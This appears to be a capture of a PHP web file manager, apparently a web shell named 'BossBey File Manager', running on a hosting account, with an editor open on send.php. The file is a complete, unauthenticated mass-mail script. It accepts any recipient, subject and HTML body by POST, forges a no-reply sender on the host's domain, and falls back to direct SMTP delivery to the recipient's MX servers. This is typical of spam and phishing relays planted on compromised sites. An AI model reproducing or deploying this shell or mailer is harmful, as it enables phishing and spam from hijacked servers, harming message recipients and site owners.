BossBey File Manager
PHP:
7.4.33
OS:
Linux
User:
diplsoft
Root
/
home
/
diplsoft
/
VmedTM
📤 Upload
📝 New File
📁 New Folder
Close
Editing: send.php
<?php error_reporting(0); // Oculta warnings para resposta limpa header('Content-Type: application/json'); // ========== RECEBE DADOS ========== $destinatario = $_POST['email'] ?? null; $assunto = $_POST['assunto'] ?? null; $html = $_POST['html'] ?? null; if (!$destinatario || !$assunto || !$html) { echo json_encode(['status' => 'fail', 'motivo' => 'Faltando email, assunto ou html']); exit; } $dominio = $_SERVER['HTTP_HOST'] ?? 'localhost'; $remetente = "no-reply@$dominio"; // Codifica cabeçalho UTF-8 function encode_utf8_header($texto) { return "=?UTF-8?B?" . base64_encode($texto) . "?="; } // Cabeçalhos comuns $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=UTF-8\r\n"; $headers .= "From: $remetente\r\n"; $headers .= "Reply-To: $remetente\r\n"; $headers .= "X-Mailer: PHP/" . phpversion(); // ========== TENTATIVA 1: mail() ========== if (function_exists('mail')) { $ok = mail($destinatario, encode_utf8_header($assunto), $html, $headers); if ($ok) { echo json_encode(['status' => 'ok']); exit; } } // ========== TENTATIVA 2: SMTP direto ========== function enviar_smtp($remetente, $destinatario, $assunto, $html, $dominio) { list(, $dom_destino) = explode('@', $destinatario); if (!getmxrr($dom_destino, $mx_hosts, $mx_pesos)) { return "MX não encontrado para $dom_destino"; } array_multisort($mx_pesos, $mx_hosts); $message_id = "<" . uniqid() . "@$dominio>"; $data_envio = date('r'); $headers = "Message-ID: $message_id\r\n"; $headers .= "Date: $data_envio\r\n"; $headers .= "Subject: " . encode_utf8_header($assunto) . "\r\n"; $headers .= "From: <$remetente>\r\n"; $headers .= "To: <$destinatario>\r\n"; $headers .= "Reply-To: <$remetente>\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; $headers .= "X-Mailer: PHP/" . phpversion() . "\r\n"; $mensagem = $headers . "\r\n" . $html . "\r\n.\r\n"; foreach ($mx_hosts as $mx) { $con = @fsockopen($mx, 25, $errno, $errstr, 5); if (!$con) { continue; } stream_set_timeout($con, 5); $r = fgets($con); if (strpos($r, '220') !== 0) { fclose($con); continue; } $comandos = [ "HELO $dominio" => 250, "MAIL FROM:<$remetente>" => 250, "RCPT TO:<$destinatario>" => 250, "DATA" => 354, $mensagem => 250, "QUIT" => null ]; foreach ($comandos as $cmd => $esperado) { fputs($con, $cmd . "\r\n"); $resposta = fgets($con); if ($esperado !== null && strpos($resposta, (string)$esperado) !== 0) { fclose($con); continue 2; } } fclose($con); return true; } return "Falha em todos MX de $dom_destino"; } $res = enviar_smtp($remetente, $destinatario, $assunto, $html, $dominio); if ($res === true) { echo json_encode(['status' => 'ok']); } else { echo json_encode(['status' => 'fail', 'motivo' => $res]); }
Save
Cancel